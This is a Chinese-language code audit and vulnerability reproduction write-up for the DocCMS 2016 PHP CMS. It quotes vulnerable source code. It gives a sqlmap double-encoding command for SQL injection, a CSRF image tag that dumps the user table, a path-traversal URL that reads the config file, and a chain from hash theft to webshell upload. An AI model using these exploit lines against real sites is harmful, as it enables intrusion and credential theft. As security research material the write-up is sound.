doccms2016代碼審計及漏洞複現
- doccms2016代碼審計及漏洞複現
-
- 1.sql注入
- 2.背景getshell
- 3.留言處存儲xss
- 4.背景任意檔案下載下傳
- 5.總結
doccms2016代碼審計及漏洞複現
1.sql注入
在/content/search/index.php中,首先對參數keyword進行非法字元檢測
<?php
//首頁搜尋,站内關鍵字搜尋
function index()
{
global $db;
global $request;
global $params;
global $tag; // 标簽數組
!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字元');
$keyword = urldecode($request['keyword']);
function checkSqlStr($string)
{
$string = strtolower($string);
return preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|_user/i', $string);
}
發現沒有在過濾函數中進行解碼,是以我們可以直接兩次url編碼進行繞過,
sqlmap.py -u "http://192.168.164.138:89/search/?keyword=123" --tamper=chardoubleencode
2.背景getshell
在背景模闆上傳處,檢查檔案是否為壓縮包格式(檢查是否解壓成功),之後直接對壓縮包進行解壓,可以上傳檔案
admini\controllers\system\managemodel.php
function upload_model()
{
//把模版先暫時上傳在系統根目錄的TEMP檔案夾裡,解決safe_mode On時無法上傳在環境檔案夾下
//suny.2008.01.16
$upload = new Upload(10000,'/temp/');
$fileName = $upload->SaveFile('upfile');
if(is_file(ABSPATH.'/temp/'.$fileName))
{
del_dir(ABSPATH.UPLOADPATH.'temp/');
mkdirs(ABSPATH.UPLOADPATH.'temp/');
if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
{
$doc = get_config_xmldoc('config');
exec_config($doc);
$doc = get_config_xmldoc('install');
exec_install($doc);
redirect('?m=system&s=managemodel');
}
}
}
function SaveFile($fileField,$isArry=false,$i=0)
{
if($isArry)
{
//檢查上傳檔案
if($_FILES[$fileField]['error'][$i] > 0)
{
switch((int)$_FILES[$fileField]['error'][$i]){
case UPLOAD_ERR_NO_FILE:
$this->errorMsg .="請選擇有效的上傳檔案!";
break;
case UPLOAD_ERR_FORM_SIZE:
$this->errorMsg .="您上傳的檔案總大小超出了最大限制:".$this->allowSize."KB\"')";
break;
}
return NULL;
}
preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'][$i],$exts);
//檢查上傳檔案的擴充名
if($this->checkValidExt($exts[1]))
{
$this->errorMsg.="提示:\n\n請選擇一個有效的檔案,\n支援的格式有:".$this->AllowExt;
return NULL;
}
$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
$sFileName = $this->getDateDir().$this->saveFileName;
if(!move_uploaded_file($_FILES[$fileField]['tmp_name'][$i],$this->uploadDir.$sFileName))
{
$this->errorMsg.='檔案上傳系統操作錯誤。';
return NULL;
}
else
{
return $sFileName;
}
}
else
{
//檢查上傳檔案
if($_FILES[$fileField]['error'] > 0)
{
switch((int)$_FILES[$fileField]['error']){
case UPLOAD_ERR_NO_FILE:
$this->errorMsg .="請選擇有效的上傳檔案!";
break;
case UPLOAD_ERR_FORM_SIZE:
$this->errorMsg .="您上傳的檔案總大小超出了最大限制:".$this->allowSize."KB\"')";
break;
}
return NULL;
}
preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'],$exts);
//檢查上傳檔案的擴充名
if($this->checkValidExt($exts[1]))
{
$this->errorMsg.="提示:\n\n請選擇一個有效的檔案,\n支援的格式有:".$this->AllowExt;
return NULL;
}
$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
$sFileName = $this->getDateDir().$this->saveFileName;
if(!move_uploaded_file($_FILES[$fileField]['tmp_name'],$this->uploadDir.$sFileName))
{
$this->errorMsg.='檔案上傳系統操作錯誤。';
return NULL;
}
else
{
return $sFileName;
}
}
}
直接解壓檔案,沒有進行任何檢測
3.留言處存儲xss
content\guestbook\index.php
function create()
{
echo 123;
global $db,$request;
if ($_SESSION['verifycode'] != $request['checkcode'])
{
echo '<script>alert("請正确填寫驗證碼!");location.href="javascript:history.go(-1)" target="_blank" rel="external nofollow" ;</script>';
exit;
}
foreach ($request as $k=>$v)
{
$request[$k]=RemoveXSS($v);
}
require(ABSPATH.'/admini/models/guestbook.php');
$guestbook = new guestbook();
$guestbook->addnew($request);
$guestbook->custom=@implode('<|@|>',$request['custom']);
$guestbook->dtTime=date('Y-m-d H:i:s');
$guestbook->channelId=$request['p'];
$guestbook->ip=$_SERVER['REMOTE_ADDR'];
$guestbook->uid=$_SESSION[TB_PREFIX.'user_ID'];
if($guestbook->save())
{
if(guestbookISON)
{
sys_mail(' 留言提醒','最新留言提醒:您的網站:<a href="http://'.WEBURL.'">'.WEBURL.'</a> 有最新留言,請及時前往稽核回複!');
}
echo '<script>alert("恭喜,您的留言已送出成功,從業人員會及時回複!");window.location.href="'.sys_href($request['p']).'";</script>';
exit;
}
else
{
echo '<script>alert("對不起,系統錯誤,您的留言未能及時送出,請電話與我們聯系。");window.location.href="'.sys_href($request['p']).'";</script>';
exit;
}
}
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some // inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG [email protected]:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '[email protected]#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
找到了大佬的腳本,可以用來備份資料庫的user表
<H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=開始備份資料" width="0" height="0" border="0"/>
4.背景任意檔案下載下傳
\doccms\admini\controllers\system\back.php
function download()
{
global $request;
if(!empty($request['filename']))
{
file_down(ABSPATH.'/temp/data/'.$request['filename']);
}
else
{
echo '<script>alert("檔案名不能為空!");window.history.go(-1);</script>';
}
}
function file_down($file,$filename='')
{
if(is_file($file))
{
$filename = $filename ? $filename : basename($file);
$filetype = fileext($filename);
$filesize = filesize($file);
header('Cache-control: max-age=31536000');
header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
header('Content-Encoding: none');
//header('Content-Length: '.$filesize);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Type: '.$filetype);
readfile($file);
}
else
{
echo '<script>alert("檔案不存在!");window.history.go(-1);</script>';
}
exit;
}
沒有對檔案名進行過濾,直接修改目錄即可進行檔案下載下傳
http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php
5.總結
sql注入可以直接擷取管理者名和密碼的hash,但是密碼的hash是已經是經過自定義函數加密的,我們就隻能對密碼進行爆破來獲得管理者密碼,結合背景模闆處檔案上傳即可getshell
加密函數
<?php
class docEncryption
{
var $enstr = null;
function docEncryption($str)
{
$this->enstr = $str;
}
function get_shal()
{
return sha1($this->enstr);
}
function get_md5()
{
return md5($this->enstr);
}
function get_jxqy3()
{
$tmpMS = $this->get_shal().$this->get_md5();
$tmpNewStr = substr($tmpMS,0,9).'s'.substr($tmpMS,10,9).'h'.substr($tmpMS,20,9).'l'.substr($tmpMS,30,9).'s'.substr($tmpMS,40,9).'u'.substr($tmpMS,50,9).'n'.substr
($tmpMS,60,9).'y'.substr($tmpMS,70,2);
$tmpNewStr = substr($tmpNewStr,-36).substr($tmpNewStr,0,36);
$tmpNewStr = substr($tmpNewStr,0,70);
$tmpNewStr = substr($tmpNewStr,0,14).'j'.substr($tmpNewStr,14,14).'x'.substr($tmpNewStr,28,14).'q'.substr($tmpNewStr,32,14).'y'.substr($tmpNewStr,56,14).'3';
return $tmpNewStr;
}
function to_string()
{
$tmpstr = $this->get_jxqy3();
$tmpstr = substr($tmpstr,-35).substr($tmpstr,0,40);
return $tmpstr;
}
}